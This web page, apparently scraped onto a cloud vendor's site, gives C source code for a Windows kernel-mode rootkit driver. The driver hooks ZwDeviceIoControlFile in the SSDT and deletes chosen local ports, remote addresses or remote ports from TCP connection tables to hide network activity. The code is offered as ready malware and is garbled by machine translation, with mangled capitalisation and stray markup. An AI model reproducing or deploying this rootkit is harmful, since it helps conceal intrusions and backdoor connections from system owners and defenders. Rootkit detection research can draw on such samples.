Implement rootkit port hiding using VC

Source: Internet
Author: User
Tags ssdt

# Include "ntddk. H"
# Include <stdio. h>
# Include <tdiinfo. h>
# Include <tdistat. h>
# Include "nettype. H"

# Define nt_device_name l "// device // hideport"
# Define dos_device_name l "// dosdevices // hideport"

# Structure of the Pragma pack (1) // ssdt table
Typedef struct servicedescriptorentry {
Unsigned int * servicetablebase;
Unsigned int * servicecountertablebase; // used only in checked build
Unsigned int numberofservices;
Unsigned char * paramtablebase;
} Servicedescriptortableentry_t, * pservicedescriptortableentry_t;
# Pragma pack ()

// ------------------------- Function declaration --------------------- [5/22/2008 winddk]
Ntstatus DriverEntry (
In pdriver_object driverobject,
In punicode_string registrypath
);

Void onUnload (
In pdriver_object driverobject
);

// Device Communication
Ntstatus hideprotdispatchdevicecontrol (in pdevice_object deviceobject, in pirp );

// Enable or disable the device
Ntstatus hideportdispatchcreateclose (in pdevice_object deviceobject, in pirp IRP );

// -------------------------------------------------------- [5/22/2008 winddk]

Ntsysapi ntstatus ntapi zwdeviceiocontrolfile (
In handle filehandle,
In handle event optional,
In pio_apc_routine apcroutine optional,
In pvoid apccontext optional,
Out pio_status_block iostatusblock,
In ulong iocontrolcode,
In pvoid inputbuffer optional,
In ulong inputbufferlength,
Out pvoid outputbuffer optional,
In ulong outputbufferlength );

Ntstatus ntapi newzwdeviceiocontrolfile (
In handle filehandle,
In handle event optional,
In pio_apc_routine apcroutine optional,
In pvoid apccontext optional,
Out pio_status_block iostatusblock,
In ulong iocontrolcode,
In pvoid inputbuffer optional,
In ulong inputbufferlength,
Out pvoid outputbuffer optional,
In ulong outputbufferlength );

Typedef ntstatus (* zwdevicecontroliofile )(
In handle filehandle,
In handle event optional,
In pio_apc_routine apcroutine optional,
In pvoid apccontext optional,
Out pio_status_block iostatusblock,
In ulong iocontrolcode,
In pvoid inputbuffer optional,
In ulong inputbufferlength,
Out pvoid outputbuffer optional,
In ulong outputbufferlength
);

Zwdevicecontroliofile oldzwdeviceiocontrolfile = NULL;
Pmdl m_mdl = NULL;
Pvoid * m_mapped = NULL;

_ Declspec (dllimport) servicedescriptortableentry_t keservicedescriptortable; // The variable name cannot be changed because it is imported from outside

# Define systemservice (_ function) keservicedescriptortable. servicetablebase [* (Pulong) (puchar) _ FUNCTION + 1)]
# Define syscall_index (_ function) * (Pulong) (puchar) _ FUNCTION + 1)
# Define hook_syscall (_ function, _ hook, _ orig )/
_ Orig = (pvoid) interlockedexchange (plong) & m_mapped [syscall_index (_ function)], (long) _ hook)
# Define unhook_syscall (_ function, _ hook, _ orig )/
Interlockedexchange (plong) & m_mapped [syscall_index (_ function)], (long) _ hook)

 

 

 

 

 

# Include "hideport. H"

# Pragma alloc_text (init, DriverEntry)
# Pragma alloc_text (page, onUnload)
# Pragma alloc_text (page, newzwdeviceiocontrolfile)
# Pragma alloc_text (page, hideprotdispatchdevicecontrol)
# Pragma alloc_text (page, hideportdispatchcreateclose)

Void onUnload (in pdriver_object driverobject)
{
Unicode_string dosdevicename;

Unhook_syscall (zwdeviceiocontrolfile, oldzwdeviceiocontrolfile, newzwdeviceiocontrolfile );

If (m_mdl ){
Mmunmaplockedpages (m_mapped, m_mdl );
Iofreemdl (m_mdl );
}

// ------ Delete the device object ------ [5/22/2008 winddk]
Rtlinitunicodestring (& dosdevicename, dos_device_name );
Iodeletesymboliclink (& dosdevicename );
Iodeletedevice (driverobject-> deviceobject );

Kdprint ("the driver has been uninstalled.../N "));
}

Ntstatus DriverEntry (
In pdriver_object driverobject,
In punicode_string registrypath
)
{
Ntstatus = STATUS_SUCCESS;
Pdevice_object deviceobject = NULL;
Unicode_string ntdevicename, dosdevicename;
Boolean fsymboliclink = false;

Rtlinitunicodestring (& ntdevicename, nt_device_name );

// Create a device object
Ntstatus = iocreatedevice (
Driverobject,
0, // deviceextensionsize
& Ntdevicename, // devicename
File_device_unknown, // devicetype
0, // devicecharacteristics
False, // exclusive
& Deviceobject // [out]
);

If (! Nt_success (ntstatus ))
{
Kdprint ("failed to create device object: % x/N", ntstatus ));
Goto _ failed;
}

Rtlinitunicodestring (& dosdevicename, dos_device_name );
Ntstatus = iocreatesymboliclink (& dosdevicename, & ntdevicename );

If (! Nt_success (ntstatus )){
Kdprint ("failed to Create Symbolic Link: % x/N", ntstatus ));
Goto _ failed;
}

Fsymboliclink = true;

// Specify distribution
Driverobject-> majorfunction [irp_mj_create] = hideportdispatchcreateclose;
Driverobject-> majorfunction [irp_mj_close] = hideportdispatchcreateclose;
Driverobject-> majorfunction [irp_mj_device_control] = hideprotdispatchdevicecontrol;
Driverobject-> driverunload = onUnload;

// -------------- Modify ssdt ------------ [5/22/2008 admin]

M_mdl = mmcreatemdl (null, keservicedescriptortable. servicetablebase, keservicedescriptortable. numberofservices * 4 );
If (! M_mdl)
Return status_unsuccessful;

// Non-Paging memory
Mmbuildmdlfornonpagedpool (m_mdl );

M_mdl-> mdlflags = m_mdl-> mdlflags | mdl_mapped_to_system_va;

// Lock
M_mapped = mmmaplockedpages (m_mdl, kernelmode );
 
Hook_syscall (zwdeviceiocontrolfile, newzwdeviceiocontrolfile, oldzwdeviceiocontrolfile );

Kdprint ("driver started successfully.../N "));

Return ntstatus;

_ Failed:

If (fsymboliclink)
Iodeletesymboliclink (& dosdevicename );

If (deviceobject)
Iodeletedevice (deviceobject );

Return ntstatus;
}

// Device Communication
Ntstatus hideprotdispatchdevicecontrol (in pdevice_object deviceobject, in pirp IRP)
{
Ntstatus;
Pio_stack_location irpstack = iogetcurrentirpstacklocation (IRP );
Pvoid lpinbuffer = NULL;
Ulong ninbuffersize, noutbuffersize, dwiocontrolcode;

IRP-> iostatus. Status = STATUS_SUCCESS;
IRP-> iostatus. Information = 0;

// Obtain the input buffer space address
Lpinbuffer = IRP-> associatedirp. systembuffer;
Ninbuffersize = irpstack-> parameters. deviceiocontrol. inputbufferlength;
Noutbuffersize = irpstack-> parameters. deviceiocontrol. outputbufferlength;

Dwiocontrolcode = irpstack-> parameters. deviceiocontrol. iocontrolcode;

Switch (dwiocontrolcode)
{
Case ioctl_set_local_control:
{
Hidetype = 1;
Memcpy (& localport, lpinbuffer, sizeof (ulong ));
Kdprint ("set to local port mode... % LD/N", localport ));
Break;
}
Case ioctl_set_rhost_control:
{
Hidetype = 2;
Memcpy (& remotehost, lpinbuffer, sizeof (ulong ));
Kdprint ("set to remote address mode... 0x % x/N", remotehost ));
Break;
}

Case ioctl_set_rport_control:
{
Hidetype = 3;
Memcpy (& remoteport, lpinbuffer, sizeof (ulong ));
Kdprint ("set to remote port mode... % LD/N", remoteport ));
Break;
}

Default:
IRP-> iostatus. Status = status_invalid_parameter;
Break;
}

Ntstatus = IRP-> iostatus. status;
Iocompleterequest (IRP, io_no_increment );

Return ntstatus;
}

// Enable or disable the device
Ntstatus hideportdispatchcreateclose (in pdevice_object deviceobject, in pirp IRP)
{
Ntstatus;

IRP-> iostatus. Status = STATUS_SUCCESS;
IRP-> iostatus. Information = 0;

Ntstatus = IRP-> iostatus. status;
Iocompleterequest (IRP, io_no_increment );

Return ntstatus;
}

Ntstatus ntapi newzwdeviceiocontrolfile (
In handle filehandle,
In handle event optional,
In pio_apc_routine apcroutine optional,
In pvoid apccontext optional,
Out pio_status_block iostatusblock,
In ulong iocontrolcode,
In pvoid inputbuffer optional,
In ulong inputbufferlength,
Out pvoid outputbuffer optional,
In ulong outputbufferlength
)
{
Tcp_request_query_information_ex req;
Ulong numcount = 0;
Ulong I = 0;
Tcpaddrentry * tcptable = NULL;
Tcpaddrexentry * tcptableex = NULL;

// Call the old Function
Ntstatus = (zwdevicecontroliofile) oldzwdeviceiocontrolfile )(
Filehandle,
Event,
Apcroutine,
Apccontext,
Iostatusblock,
Iocontrolcode,
Inputbuffer,
Inputbufferlength,
Outputbuffer,
Outputbufferlength );

// Determine whether to query TCP connection information
If (iocontrolcode! = Ioctl_tcp_query_information_ex)
Return ntstatus;

// The original function failed to return
If (! Nt_success (ntstatus ))
Return ntstatus;
 
// Obtain the input buffer
Memcpy (& req, inputbuffer, sizeof (tdiobjectid ));

If (req. Id. toi_entity.tei_entity = co_tl_entity)
& (Req. Id. toi_entity.tei_instance = 0)
& (Req. Id. toi_class = info_class_protocol)
& (Req. Id. toi_type = info_type_provider)
) // Judge whether it is a port Query
{
// Common Query
If (req. Id. toi_id = tcp_mib_addrtable_entry_id)
{
Numcount = iostatusblock-> information/sizeof (tcpaddrentry );
Tcptable = (tcpaddrentry *) outputbuffer;

// cyclically linked list, locate and modify the port to be hidden
for (I = 0; I // The mode is local port
If (hidetype = 1) {
If (ntohs (tcptable [I]. tae_connlocalport) = localport) {
kdprint ("common hidden [local port] % d/N", ntohs (tcptable [I]. tae_connlocalport);
memcpy (tcptable + I), (tcptable + I + 1), (NumCount-i-1) * sizeof (tcpaddrentry )));
numcount --;
I --;
}< BR >}

// The mode is remote address
If (hidetype = 2) {
If (tcptable [I]. tae_connremaddress = remotehost) {
kdprint ("common hidden [remote address] 0x % x/N", tcptable [I]. tae_connremaddress);
memcpy (tcptable + I), (tcptable + I + 1), (NumCount-i-1) * sizeof (tcpaddrentry )));
numcount --;
I --;
}< BR >}

// The mode is remote port
If (hidetype = 3 ){
If (ntohs (tcptable [I]. tae_connremport) = remoteport ){
Kdprint ("common hidden [remote port] % d/N", ntohs (tcptable [I]. tae_connremport )));
Memcpy (tcptable + I), (tcptable + I + 1), (NumCount-i-1) * sizeof (tcpaddrentry )));
Numcount --;
I --;
}
}
}

Iostatusblock-> information = numcount * sizeof (tcpaddrentry );
}

// Query with process PID
If (req. Id. toi_id = tcp_mib_addrtable_entry_ex_id)
{
Numcount = iostatusblock-> information/sizeof (tcpaddrexentry );
Tcptableex = (tcpaddrexentry *) outputbuffer;

// Circular linked list
For (I = 0; I <numcount; I ++ ){

// For the local port Mode
If (hidetype = 1 ){
If (ntohs (tcptableex [I]. tae_connlocalport) = localport ){
Kdprint ("extended hide [local port] % d/N", ntohs (tcptableex [I]. tae_connlocalport )));
Memcpy (tcptableex + I), (tcptableex + I + 1), (NumCount-i-1) * sizeof (tcpaddrexentry )));
Numcount --;
I --;
}
}

// The current remote address mode
If (hidetype = 2) {
If (tcptableex [I]. tae_connremaddress = remotehost) {
kdprint ("extended hidden [remote address] 0x % x/N", tcptableex [I]. tae_connremaddress);
memcpy (tcptableex + I), (tcptableex + I + 1), (NumCount-i-1) * sizeof (tcpaddrexentry )));
numcount --;
I --;
}< BR >}

// Remote port Mode
If (hidetype = 3 ){
If (ntohs (tcptableex [I]. tae_connremport) = remoteport ){
Kdprint ("extended hide [remote port] % d/N", ntohs (tcptableex [I]. tae_connremport )));
Memcpy (tcptableex + I), (tcptableex + I + 1), (NumCount-i-1) * sizeof (tcpaddrexentry )));
Numcount --;
I --;
}
}
}

Iostatusblock-> information = numcount * sizeof (tcpaddrexentry );
}
}

Return ntstatus;
}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.